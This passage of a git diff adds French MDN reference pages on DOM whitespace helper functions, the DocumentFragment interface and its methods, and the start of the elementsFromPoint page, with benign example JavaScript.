+  <span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>li</span><span class="punctuation token">&gt;</span></span>Position 3<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>li</span>
+ <span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>ul</span>
+<span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>Le code JavaScript ci-dessous définit plusieurs fonctions facilitant la manipulation d'espaces dans le DOM :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="comment token">/**
+ * Tout au long, les espaces sont définis comme l'un des caractères
+ *  "\t" TAB \u0009
+ *  "\n" LF  \u000A
+ *  "\r" CR  \u000D
+ *  " "  SPC \u0020
+ *
+ * Ceci n'utilise pas le "\s" de Javascript parce que cela inclut le non-brisement
+ * espaces (et aussi d'autres caractères).
+ */</span>
+
+
+<span class="comment token">/**
+ * Détermine si le contenu du texte d'un nœud est entièrement blanc.
+ *
+ * @param nod  Un nœud implémentant l'interface |CharacterData| (c'est-à-dire,
+ *             un nœud |Text|, |Comment| ou |CDATASection|
+ * @return     True <em>(vrai)</em> Si tout le contenu du texte du |nod| est un espace,
+ *             sinon false <em>(faux)</em>.
+ */</span>
+<span class="keyword token">function</span> <span class="function token">is_all_ws</span><span class="punctuation token">(</span> nod <span class="punctuation token">)</span>
+<span class="punctuation token">{</span>
+  <span class="comment token">// Utilise ECMA-262 Edition 3 chaînes et fonctionnalités RegExp</span>
+  <span class="keyword token">return</span> <span class="operator token">!</span><span class="punctuation token">(</span><span class="regex token">/[^\t\n\r ]/</span><span class="punctuation token">.</span><span class="function token">test</span><span class="punctuation token">(</span>nod<span class="punctuation token">.</span>textContent<span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+
+<span class="comment token">/**
+ * Détermine si le nœud doit être ignoré par les fonctions d'itération.
+ *
+ * @param nod  Un objet implémentant l'interface DOM1 |Node|.
+ * @return     true <em>(vrai)</em> si le nœud est :
+ *                1) un nœud |Text| qui est tout en espace
+ *                2) un nœud |Comment|
+ *             et autrement false <em>(faux)</em>.
+ */</span>
+
+<span class="keyword token">function</span> <span class="function token">is_ignorable</span><span class="punctuation token">(</span> nod <span class="punctuation token">)</span>
+<span class="punctuation token">{</span>
+  <span class="keyword token">return</span> <span class="punctuation token">(</span> nod<span class="punctuation token">.</span>nodeType <span class="operator token">==</span> <span class="number token">8</span><span class="punctuation token">)</span> <span class="operator token">||</span> <span class="comment token">// un nœud commentaire</span>
+         <span class="punctuation token">(</span> <span class="punctuation token">(</span>nod<span class="punctuation token">.</span>nodeType <span class="operator token">==</span> <span class="number token">3</span><span class="punctuation token">)</span> <span class="operator token">&amp;&amp;</span> <span class="function token">is_all_ws</span><span class="punctuation token">(</span>nod<span class="punctuation token">)</span> <span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// un nœud texte, tout espace</span>
+<span class="punctuation token">}</span>
+
+<span class="comment token">/**
+ * Version de |previousSibling| qui ignore les nœuds qui sont entièrement
+ * espace ou commentaire.  (Normalement |previousSibling| est une propriété
+ * de tous les nœuds DOM qui donnent le nœud frère, le nœud qui est
+ * un enfant du même parent, qui se produit immédiatement avant le
+ * nœud référence.)
+ *
+ * @param sib  Le nœud référence .
+ * @return     soit :
+ *               1) le frère précédent le plus proche de |sib| qui ne peut
+ *                  être ignoré du fait de la fonction |is_ignorable|, ou
+ *               2) null si aucun nœud n'existe.
+ */</span>
+<span class="keyword token">function</span> <span class="function token">node_before</span><span class="punctuation token">(</span> sib <span class="punctuation token">)</span>
+<span class="punctuation token">{</span>
+  <span class="keyword token">while</span> <span class="punctuation token">(</span><span class="punctuation token">(</span>sib <span class="operator token">=</span> sib<span class="punctuation token">.</span>previousSibling<span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span><span class="function token">is_ignorable</span><span class="punctuation token">(</span>sib<span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="keyword token">return</span> sib<span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">return</span> <span class="keyword token">null</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="comment token">/**
+ * Version de |nextSibling| qui ignore les nœuds qui sont entièrement
+ * espace ou commentaire.
+ *
+ * @param sib  Le nœud référence .
+ * @return     soit :
+ *               1) le frère précédent le plus proche de |sib| qui ne peut
+ *                  être ignoré du fait de la fonction |is_ignorable|, ou
+ *               2) null si aucun nœud n'existe.
+ */</span>
+<span class="keyword token">function</span> <span class="function token">node_after</span><span class="punctuation token">(</span> sib <span class="punctuation token">)</span>
+<span class="punctuation token">{</span>
+  <span class="keyword token">while</span> <span class="punctuation token">(</span><span class="punctuation token">(</span>sib <span class="operator token">=</span> sib<span class="punctuation token">.</span>nextSibling<span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span><span class="function token">is_ignorable</span><span class="punctuation token">(</span>sib<span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="keyword token">return</span> sib<span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">return</span> <span class="keyword token">null</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="comment token">/**
+ * Version de |lastChild| qui ignore les nœuds qui sont entièrement
+ * espace ou commentaire. (Normalement |lastChild| est une propriété
+ * de tous les nœuds DOM qui donnent le dernier des nœuds contenus
+ * directement dans le nœud de référence.)
+ *
+ * @param sib  Le nœud référence.
+ * @return     soit :
+ *               1) Le dernier enfant de |sib| qui ne peut
+ *                  être ignoré du fait de la fonction |is_ignorable|, ou
+ *               2) null si aucun nœud n'existe.
+ */</span>
+<span class="keyword token">function</span> <span class="function token">last_child</span><span class="punctuation token">(</span> par <span class="punctuation token">)</span>
+<span class="punctuation token">{</span>
+  <span class="keyword token">var</span> res<span class="operator token">=</span>par<span class="punctuation token">.</span>lastChild<span class="punctuation token">;</span>
+  <span class="keyword token">while</span> <span class="punctuation token">(</span>res<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span><span class="function token">is_ignorable</span><span class="punctuation token">(</span>res<span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="keyword token">return</span> res<span class="punctuation token">;</span>
+    res <span class="operator token">=</span> res<span class="punctuation token">.</span>previousSibling<span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">return</span> <span class="keyword token">null</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="comment token">/**
+ * Version de |firstChild| qui ignore les nœuds qui sont entièrement
+ * espace ou commentaire..
+ *
+ * @param sib  le nœud référence.
+ * @return     soit:
+ *               1) le nœud premier enfant de |sib| qui ne peut
+ *                  être ignoré du fait de la fonction |is_ignorable|, ou
+ *               2) null si aucun nœud n'existe.
+ */</span>
+<span class="keyword token">function</span> <span class="function token">first_child</span><span class="punctuation token">(</span> par <span class="punctuation token">)</span>
+<span class="punctuation token">{</span>
+  <span class="keyword token">var</span> res<span class="operator token">=</span>par<span class="punctuation token">.</span>firstChild<span class="punctuation token">;</span>
+  <span class="keyword token">while</span> <span class="punctuation token">(</span>res<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span><span class="function token">is_ignorable</span><span class="punctuation token">(</span>res<span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="keyword token">return</span> res<span class="punctuation token">;</span>
+    res <span class="operator token">=</span> res<span class="punctuation token">.</span>nextSibling<span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">return</span> <span class="keyword token">null</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="comment token">/**
+ * Version de |data| cela n'inclut pas les espaces au début
+ * et termine et normalise tous les espaces dans un seul espace. (Normalement
+ * |data | est une propriété des nœuds de texte qui donne le texte du nœud.)
+ *
+ * @param txt  Le nœud de texte dont les données doivent être renvoyées
+ * @return     Une chaîne donnant le contenu du nœud de texte avec
+ *             espace blanc s'est effondré.
+ */</span>
+<span class="keyword token">function</span> <span class="function token">data_of</span><span class="punctuation token">(</span> txt <span class="punctuation token">)</span>
+<span class="punctuation token">{</span>
+  <span class="keyword token">var</span> data <span class="operator token">=</span> txt<span class="punctuation token">.</span>textContent<span class="punctuation token">;</span>
+  <span class="comment token">// Utilise ECMA-262 Edition 3 chaînes et fonctionnalités RegExp</span>
+  data <span class="operator token">=</span> data<span class="punctuation token">.</span><span class="function token">replace</span><span class="punctuation token">(</span><span class="regex token">/[\t\n\r ]+/g</span><span class="punctuation token">,</span> <span class="string token">" "</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>data<span class="punctuation token">.</span><span class="function token">charAt</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">)</span> <span class="operator token">==</span> <span class="string token">" "</span><span class="punctuation token">)</span>
+    data <span class="operator token">=</span> data<span class="punctuation token">.</span><span class="function token">substring</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">,</span> data<span class="punctuation token">.</span>length<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>data<span class="punctuation token">.</span><span class="function token">charAt</span><span class="punctuation token">(</span>data<span class="punctuation token">.</span>length <span class="operator token">-</span> <span class="number token">1</span><span class="punctuation token">)</span> <span class="operator token">==</span> <span class="string token">" "</span><span class="punctuation token">)</span>
+    data <span class="operator token">=</span> data<span class="punctuation token">.</span><span class="function token">substring</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> data<span class="punctuation token">.</span>length <span class="operator token">-</span> <span class="number token">1</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">return</span> data<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<p>Le code qui suit montre l'utilisation des fonctions présentées plus haut. Il parcourt les enfants d'un élément (dont les enfants sont tous des éléments) pour trouver celui dont le texte est <code>"Ceci est le troisième paragraphe"</code>, et change ensuite l'attribut <code>class</code> et le contenu de ce paragraphe.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> cur <span class="operator token">=</span> <span class="function token">first_child</span><span class="punctuation token">(</span>document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"test"</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">while</span> <span class="punctuation token">(</span>cur<span class="punctuation token">)</span>
+<span class="punctuation token">{</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="function token">data_of</span><span class="punctuation token">(</span>cur<span class="punctuation token">.</span>firstChild<span class="punctuation token">)</span> <span class="operator token">==</span> <span class="string token">"This is the third paragraph."</span><span class="punctuation token">)</span>
+  <span class="punctuation token">{</span>
+      cur<span class="punctuation token">.</span>className <span class="operator token">=</span> <span class="string token">"magic"</span><span class="punctuation token">;</span>
+      cur<span class="punctuation token">.</span>firstChild<span class="punctuation token">.</span>textContent <span class="operator token">=</span> <span class="string token">"This is the magic paragraph."</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  cur <span class="operator token">=</span> <span class="function token">node_after</span><span class="punctuation token">(</span>cur<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="originaldocinfo">
+<h3 id="Informations_sur_le_document_original" name="Informations_sur_le_document_original">Informations sur le document original</h3>
+
+<ul>
+ <li>Auteur : <a class="external" href="http://dbaron.org">L. David Baron</a></li>
+ <li>Dernière mise à jour : 1er janvier 2003</li>
+ <li>Copyright : © 1998-2005 by individual mozilla.org contributors ; contenu disponible sous <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">licence Creative Commons</a></li>
+</ul>
+</div>
diff --git a/files/fr/web/api/documentfragment/documentfragment/index.html b/files/fr/web/api/documentfragment/documentfragment/index.html
new file mode 100644
index 0000000000..205b036775
--- /dev/null
+++ b/files/fr/web/api/documentfragment/documentfragment/index.html
@@ -0,0 +1,50 @@
+---
+title: DocumentFragment()
+slug: Web/API/DocumentFragment/DocumentFragment
+tags:
+  - API
+  - Constructeur
+  - DOM
+  - Document
+  - Elements
+  - Fragments
+translation_of: Web/API/DocumentFragment/DocumentFragment
+---
+<p>{{ApiRef("DOM")}}{{seeCompatTable}}</p>
+
+<p>Le constructeur <code><strong>DocumentFragment()</strong></code> renvoie un nouvel objet  {{domxref("DocumentFragment")}} créé vide.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>fragment</em> = new DocumentFragment()</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js  language-js"><code class="language-js">fragment <span class="operator token">=</span> new DocumentFragment<span class="function token"><span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-documentfragment', 'DocumentFragment.DocumentFragment()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.DocumentFragment.DocumentFragment")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model" title="/en-US/docs/DOM/DOM_Reference">L'index des interfaces du DOM.</a></li>
+</ul>
diff --git a/files/fr/web/api/documentfragment/index.html b/files/fr/web/api/documentfragment/index.html
new file mode 100644
index 0000000000..eb109de2f1
--- /dev/null
+++ b/files/fr/web/api/documentfragment/index.html
@@ -0,0 +1,105 @@
+---
+title: DocumentFragment
+slug: Web/API/DocumentFragment
+tags:
+  - API
+  - DOM
+  - Document
+  - Fragments
+  - Interface
+  - Noeuds
+translation_of: Web/API/DocumentFragment
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>L’interface <strong><span class="external"><code>DocumentFragment</code></span></strong> représente un objet document minimal qui n’a pas de parent. Il est utilisé comme une version légère de {{domxref("Document")}} pour stocker un segment de structure de document composé de nœuds, tout comme un document standard. La différence fondamentale est que, comme le fragment de document ne fait pas réellement partie de la structure du DOM, les changements faits au fragment n’affectent pas le document, ne causent pas de {{Glossary("Reflow")}} , et ne provoquent pas les éventuels impacts de performance qui peuvent avoir lieu quand des changements sont faits.</p>
+
+<p>Un usage courant de <code>DocumentFragment</code> est de créer un fragment, assembler un sous-arbre DOM au sein de celui-ci, puis ajouter ou insérer le fragment dans le DOM en utilisant les méthodes de l’interface {{domxref("Node")}} (telles que {{domxref("Node.appendChild", "appendChild()")}} ou {{domxref("Node.insertBefore", "insertBefore()")}}). En faisant ainsi, on place les nœuds du fragment dans le DOM, en laissant derrière un <code>DocumentFragment</code> vide. Comme tous les nœuds sont insérés dans le document en une seule fois, un seul <em>reflow</em> et un seul rendu sont déclenchés, au lieu de potentiellement un pour chaque nœud inséré s’ils avaient été insérés séparément.</p>
+
+<p>Cette interface est également beaucoup utilisée avec les Web components : les éléments {{HTMLElement("template")}} contiennent un <code>DocumentFragment</code> dans leur propriété {{domxref("HTMLTemplateElement.content")}}.</p>
+
+<p>Un <code>DocumentFragment</code> vide peut être créé en utilisant la méthode {{domxref("document.createDocumentFragment()")}} ou le constructeur.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Specification" name="Specification">Propriétés</h2>
+
+<p><em>Cette interface n’a pas de propriétés spécifiques, mais hérite de celles de son parent, </em><em>{{domxref("Node")}}, et implémente celles de l’interface {{domxref("ParentNode")}}.</em></p>
+
+<dl>
+ <dt>{{ domxref("ParentNode.children") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Retourne une {{domxref("HTMLCollection")}} dynamique contenant tous les objets de type {{domxref("Element")}} enfants de l’objet <code>DocumentFragment</code>.</dd>
+ <dt>{{ domxref("ParentNode.firstElementChild") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Retourne un {{domxref("Element")}} qui est le premier enfant de l’objet <code>DocumentFragment</code>, ou <code>null</code> s’il n’y en a aucun.</dd>
+ <dt>{{ domxref("ParentNode.lastElementChild") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Retourne un {{domxref("Element")}} qui est le dernier enfant de l’objet <code>DocumentFragment</code>, ou <code>null</code> s’il n’y en a aucun.</dd>
+ <dt>{{ domxref("ParentNode.childElementCount") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Retourne un <code>unsigned long</code> indiquant le nomble d’enfants que le <code>DocumentFragment</code> possède.</dd>
+</dl>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{ domxref("DocumentFragment.DocumentFragment()", "DocumentFragment()") }} {{experimental_inline}}</dt>
+ <dd>Retourne un objet <code>DocumentFragment</code> vide.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface hérite des méthodes de son parent, {{domxref("Node")}}<em>, et implémente celles de l’interface {{domxref("ParentNode")}}</em></em><em>.</em></p>
+
+<dl>
+ <dt>{{domxref("DocumentFragment.querySelector()")}}</dt>
+ <dd>Retourne le premier nœud {{domxref("Element")}} du <code>DocumentFragment</code>, dans l’ordre du document, correspondant aux sélécteurs spécifiés.</dd>
+ <dt>{{domxref("DocumentFragment.querySelectorAll()")}}</dt>
+ <dd>Retourne une {{domxref("NodeList")}} de tous les nœuds {{domxref("Element")}} du <code>DocumentFragment</code> qui correspondent aux sélecteurs spécifiés.</dd>
+ <dt>{{domxref("DocumentFragment.getElementById()")}}</dt>
+ <dd>Retourne le premier nœud {{domxref("Element")}} du <code style="font-size: 14px;">DocumentFragment</code>, dans l’ordre du document, qui correspond à l’ID spécifié.</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-documentfragment', 'DocumentFragment')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Ajouté le constructeur et l’implémentation de {{domxref("ParentNode")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 1', '#the-apis', 'DocumentFragment')}}</td>
+   <td>{{Spec2('Selectors API Level 1')}}</td>
+   <td>Ajouté les méthodes <code>querySelector()</code> et <code>querySelectorAll()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-B63ED1A3', 'DocumentFragment')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Pas de changement depuis {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-B63ED1A3', 'DocumentFragment')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Pas de changement depuis {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-B63ED1A3', 'DocumentFragment')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.DocumentFragment")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">Index des interfaces DOM</a></li>
+</ul>
diff --git a/files/fr/web/api/documentfragment/queryselector/index.html b/files/fr/web/api/documentfragment/queryselector/index.html
new file mode 100644
index 0000000000..6914d21c4a
--- /dev/null
+++ b/files/fr/web/api/documentfragment/queryselector/index.html
@@ -0,0 +1,85 @@
+---
+title: DocumentFragment.querySelector()
+slug: Web/API/DocumentFragment/querySelector
+tags:
+  - API
+  - DOM
+  - Document
+  - Méthodes
+  - fragment
+translation_of: Web/API/DocumentFragment/querySelector
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>La méthode <strong><code>DocumentFragment.querySelector()</code></strong> renvoie le premier élément ou <code>null</code> si aucune correspondance n'est trouvée, dans le {{domxref("DocumentFragment")}} (en utilisant la traversée en profondeur des noeuds du document), avec le groupe spécifié de sélecteurs.</p>
+
+<p>Si le sélecteur correspond à un ID (<em>identifiant</em>) et que cet ID est utilisé plusieurs fois par erreur dans le document, il renvoie le premier élément correspondant.</p>
+
+<p>Si les sélecteurs spécifiés dans paramètre sont invalides une {{domxref("DOMException")}} avec une valeur <code>SYNTAX_ERR</code> est lancée.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>element</em> = <em>documentfragment</em>.querySelector(<em>selectors</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em>selectors </em></dt>
+ <dd>est une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) contenant un ou plusieurs sélecteurs CSS séparés par des virgules.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Exemples</h2>
+
+<h3 id="Exemple_de_base">Exemple de base</h3>
+
+<p>Dans cet exemple de base, le premier élément dans le {{domxref("DocumentFragment")}} avec la classe "<code>myclass</code>" est renvoyé :</p>
+
+<pre class="brush: js">var el = documentfragment.querySelector(".myclass");
+</pre>
+
+<h3 id="Syntaxe_CSS_et_argument_de_la_méthode">Syntaxe CSS et argument de la méthode</h3>
+
+<p>L'argument chaîne transmis à <code>querySelector</code> doit suivre la syntaxe CSS. Pour faire correspondre un identifiant ou des sélecteurs qui ne suivent pas la syntaxe CSS (utilisant un point-virgule ou un espace inappropriés par exemple), il est obligatoire d'échapper les mauvais caractères avec une double barre oblique inverse :</p>
+
+<pre class="brush: html">&lt;div id="foo\bar"&gt;&lt;/div&gt;
+&lt;div id="foo:bar"&gt;&lt;/div&gt;
+
+&lt;script&gt;
+document.querySelector('#foo\bar')    // Ne correspond à rien
+document.querySelector('#foo\\\\bar') // Correspond au premier div
+document.querySelector('#foo:bar')     //  Ne correspond à rien
+document.querySelector('#foo\\:bar')   // Correspond au second div
+&lt;/script&gt;
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 2', '#queryselector', 'DocumentFragment.querySelector')}}</td>
+   <td>{{Spec2('Selectors API Level 2')}}</td>
+   <td>Pas de changement de {{SpecName('Selectors API Level 1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 1', '#queryselector', 'DocumentFragment.querySelector')}}</td>
+   <td>{{Spec2('Selectors API Level 1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.DocumentFragment.querySelector")}}</p>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("DocumentFragment")}} à laquelle elle appartient.</li>
+</ul>
diff --git a/files/fr/web/api/documentfragment/queryselectorall/index.html b/files/fr/web/api/documentfragment/queryselectorall/index.html
new file mode 100644
index 0000000000..c5468e6e6a
--- /dev/null
+++ b/files/fr/web/api/documentfragment/queryselectorall/index.html
@@ -0,0 +1,65 @@
+---
+title: DocumentFragment.querySelectorAll()
+slug: Web/API/DocumentFragment/querySelectorAll
+tags:
+  - API
+  - DOM
+  - Document
+  - Méthodes
+  - fragment
+translation_of: Web/API/DocumentFragment/querySelectorAll
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>La méthode <strong><code>DocumentFragment.querySelectorAll()</code></strong> renvoie une {{domxref("NodeList")}} (<em>liste de noeuds</em>) des éléments du {{domxref("DocumentFragment")}} (en utilisant la traversée en profondeur des noeuds du document), qui correspondent avec le groupe spécifié de sélecteurs.</p>
+
+<p>Si les sélecteurs spécifiés dans paramètre sont invalides une {{domxref("DOMException")}} avec une valeur <code>SYNTAX_ERR</code> est lancée.</p>
+
+<div class="note">
+<p><strong>Note :</strong> La définition de cet API a été déplacé vers l'interface {{domxref("ParentNode")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>elementList</em> = <em>documentframgment</em>.querySelectorAll(<em>selectors</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em>selectors</em></dt>
+ <dd>est une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) contenant un ou plusieurs sélecteurs CSS séparés par des virgules.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Cet exemple renvoie une liste de tous les éléments <code>div</code> du <code>DocumentFragment</code> avec une classe soit "<code>note</code>" soit "<code>alert</code>" :</p>
+
+<pre class="brush: js">var matches = documentfrag.querySelectorAll("div.note, div.alert");
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 1', '#queryselector', 'DocumentFragment.querySelectorAll')}}</td>
+   <td>{{Spec2('Selectors API Level 1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.DocumentFragment.querySelectorAll")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("DocumentFragment")}} à laquelle elle appartient.</li>
+</ul>
diff --git a/files/fr/web/api/documentorshadowroot/elementsfrompoint/index.html b/files/fr/web/api/documentorshadowroot/elementsfrompoint/index.html
new file mode 100644
index 0000000000..c3f8c30d22
--- /dev/null
+++ b/files/fr/web/api/documentorshadowroot/elementsfrompoint/index.html
@@ -0,0 +1,104 @@
+---
+title: DocumentOrShadowRoot.elementsFromPoint()
+slug: Web/API/DocumentOrShadowRoot/elementsFromPoint
+tags:
+  - API
+  - Document
+  - DocumentOrShadowRoot
+  - Méthode
+  - Reference
+  - ShadowRoot
+  - elementsFromPoint
+  - elementsFromPoint()
+  - shadow dom
+translation_of: Web/API/DocumentOrShadowRoot/elementsFromPoint
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p><span class="seoSummary">La propriété <strong><code>elementsFromPoint()</code></strong> de l'interface {{domxref("DocumentOrShadowRoot")}}  renvoie un tableau (<em>array</em>) de tous les éléments présents sous le point fourni en paramètre (relatif au <em>viewport</em>).</span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var elements = document.elementsFromPoint(x, y);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>x</dt>
+ <dd>L'abscisse du point (coordonnée horizontale).</dd>
+ <dt>y</dt>
+ <dd>L'ordonnée du point (coordonnée verticale).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau (<em>array</em>) d'objets {{domxref('element')}} représentants les éléments du DOM concernés.</p>
+
+<h2 id="Example" name="Example">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p&gt;Du texte&lt;/p&gt;
+&lt;/div&gt;
+&lt;p&gt;Éléments au point 30, 20:&lt;/p&gt;
+&lt;div id="output"&gt;&lt;/div&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js;highlight[1]">var output = document.getElementById("output");
+if (document.elementsFromPoint) {
+  var elements = document.elementsFromPoint(30, 20);
+  for(var i = 0; i &lt; elements.length; i++) {
+    output.textContent += elements[i].localName;
+    if (i &lt; elements.length - 1) {
+      output.textContent += " &lt; ";
+    }
+  }
+} else {
+  output.innerHTML = "&lt;span style=\"color: red;\"&gt;" +
+     "Votre navigateur ne prend pas en charge &lt;code&gt;document.elementsFromPoint()&lt;/code&gt;" +
+     "&lt;/span&gt;";
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Example', '420', '120')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
